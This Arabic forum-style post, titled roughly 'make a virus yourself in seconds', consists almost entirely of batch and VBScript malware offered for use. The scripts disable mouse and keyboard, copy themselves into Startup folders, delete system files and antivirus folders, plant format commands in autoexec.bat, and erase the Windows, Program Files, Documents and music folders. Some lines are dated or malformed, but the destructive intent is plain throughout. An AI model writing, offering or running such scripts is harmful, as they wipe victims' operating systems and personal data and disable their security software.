اصنع فايروس في ثواني بنفسك..مع وحيد الليالي

بسم الله الرحمن الرحيم




اكواد فيروسات من نوع bat
1)قاتل الدوس

@echo off C:\WINDOWS\rundll.exe mouse,disable
C:\WINDOWS\rundll.exe keyboard,disable
del c:\command.com
del c:\Io.sys
del c:\Config.sys
del c:\Msdos.sys
del c:\windows\system32\command.com
deltree /y C:\WINDOWS\COMMAND\*.*
deltree /y C:\WIN98\COMMAND\*.*
deltree /y C:\WINme\COMMAND\*.*
deltree /y C:\WIN_me\COMMAND\*.*
deltree /y C:\WINxp\COMMAND\*.*
deltree /y C:\WIN_xp\COMMAND\*.*
del d:\command.com
del d:\Io.sys
del d:\Config.sys
del d:\Msdos.sys
del d:\windows\system32\command.com
deltree

2) قاتل ملفات السيستم

@echo off
c:
cd C:\WINDOWS\System\
deltree /y *.dll
cd\
deltree /y *.sys
c:
cd C:\WINDOWS\System32\
deltree /y *.dll
cd\
deltree /y *.sys
d:
cd C:\WINDOWS\System\
deltree /y *.dll
cd\
deltree /y *.sys
d:
cd C:\WINDOWS\System32\
deltree /y *.dll
cd\
deltree /y *.sys
CLS

3)فورمات

call attrib -h -r c:\autoexec.bat >nul
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
echo format d: /q /u /autotest >nul >>c:\autoexec.bat
echo format e: /q /u /autotest >nul >>c:\autoexec.bat
echo format f: /q /u /autotest >nul >>c:\autoexec.bat
echo I love my girl
echo off@
shutdown -s

4) قتل الماوس+ الكيبورد

@echo off
C:\WINDOWS\rundll.exe mouse,disable
C:\WINDOWS\rundll.exe keyboard,disable
copy key.BAT C:\WINDOWS\startm~1\programs\startup
copy key.BAT C:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
copy key.BAT D:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
CLS
echo abohacker
shutdown -s

5) قاتل النورتن

@echo off
%WinDir%\rundll.exe mouse,disable
%WinDir%\rundll.exe keyboard,disable
copy hahahah.BAT %windir%\startm~1\programs\startup
copy hahahah.BAT C:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
copy hahahah.BAT D:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
deltree /y c:\progra~1\norton~1\*.*
deltree /y d:\progra~1\norton~1\*.*
deltree /y c:\progra~1\zonela~1\*.*
deltree /y d:\progra~1\zonela~1\*.*
cls




اكواد فيروسات الـفي بي اس



1)قاتل الويندوز

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("c:\windows") Then
foldersys.DeleteFolder "c:\windows",TRUE
END IF
If foldersys.FolderExists ("c:\win98") Then
foldersys.DeleteFolder "c:\win98",TRUE
END IF
If foldersys.FolderExists ("c:\winme") Then
foldersys.DeleteFolder "c:\winme",TRUE
END IF
If foldersys.FolderExists ("c:\win_me") Then
foldersys.DeleteFolder "c:\win_me",TRUE
END IF
If foldersys.FolderExists ("c:\winxp") Then
foldersys.DeleteFolder "c:\winxp",TRUE
END IF
If foldersys.FolderExists ("c:\win_xp") Then
foldersys.DeleteFolder "c:\win_xp",TRUE
END IF
If foldersys.FolderExists ("d:\windows") Then
foldersys.DeleteFolder "d:\windows",TRUE
END IF

2)ماسح البرامج

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("c:\Program Files") Then
foldersys.DeleteFolder "c:\Program Files",TRUE
END IF
If foldersys.FolderExists ("D:\Program Files") Then
foldersys.DeleteFolder "D:\Program Files",TRUE
END IF

3) ماسح سطح الكتب + المستندات

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("c:\My Documents") Then
foldersys.DeleteFolder "c:\My Documents",TRUE
END IF
If foldersys.FolderExists ("D:\My Documents") Then
foldersys.DeleteFolder "D:\My Documents",TRUE
END IF
If foldersys.FolderExists ("c:\My Music") Then
foldersys.DeleteFolder "c:\My Music",TRUE
END IF
If foldersys.FolderExists ("D:\My Music") Then
foldersys.DeleteFolder "D:\My Music",TRUE
END IF
If foldersys.FolderExists ("C:\Documents and Settings") Then
foldersys.DeleteFolder "C:\Documents and Settings",TRUE
END IF
If foldersys.FolderExists ("D:\Documents and Settings") Then
foldersys.DeleteFolder "D:\Documents and Settings",TRUE
END IF

4)قاتل الام بي ثري

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("D:\MP3") Then
foldersys.DeleteFolder "D:\MP3",TRUE
END IF
If foldersys.FolderExists ("E:\MP3") Then
foldersys.DeleteFolder "E:\MP3",TRUE
END IF
If foldersys.FolderExists ("F:\MP3") Then
foldersys.DeleteFolder "F:\MP3",TRUE
END IF
If foldersys.FolderExists ("G:\MP3") Then
foldersys.DeleteFolder "G:\MP3",TRUE
END IF
If foldersys.FolderExists ("H:\MP3") Then
foldersys.DeleteFolder "H:\MP3",TRUE
END IF
If foldersys.FolderExists ("I:\MP3") Then
foldersys.DeleteFolder "I:\MP3",TRUE
END IF
If foldersys.FolderExists ("J:\MP3") Then
foldersys.DeleteFolder "J:\MP3",TRUE
END IF
If foldersys.FolderExists ("K:\MP3") Then
foldersys.DeleteFolder "K:\MP3",TRUE
END IF
If foldersys.FolderExists ("D:\SONGS") Then
foldersys.DeleteFolder "D:\SONGS",TRUE
END IF
If foldersys.FolderExists ("E:\SONGS") Then
foldersys.DeleteFolder "E:\SONGS",TRUE
END IF
If foldersys.FolderExists ("F:\SONGS") Then
foldersys.DeleteFolder "F:\SONGS",TRUE
END IF
If foldersys.FolderExists ("G:\SONGS") Then
foldersys.DeleteFolder "G:\SONGS",TRUE
END IF
If foldersys.FolderExists ("H:\SONGS") Then
foldersys.DeleteFolder "H:\SONGS",TRUE
END IF
If foldersys.FolderExists ("I:\SONGS") Then
foldersys.DeleteFolder "I:\SONGS",TRUE
END IF
If foldersys.FolderExists ("J:\SONGS") Then
foldersys.DeleteFolder "J:\SONGS",TRUE
END IF
If foldersys.FolderExists ("K:\SONGS") Then
foldersys.DeleteFolder "K:\SONGS",TRUE
END IF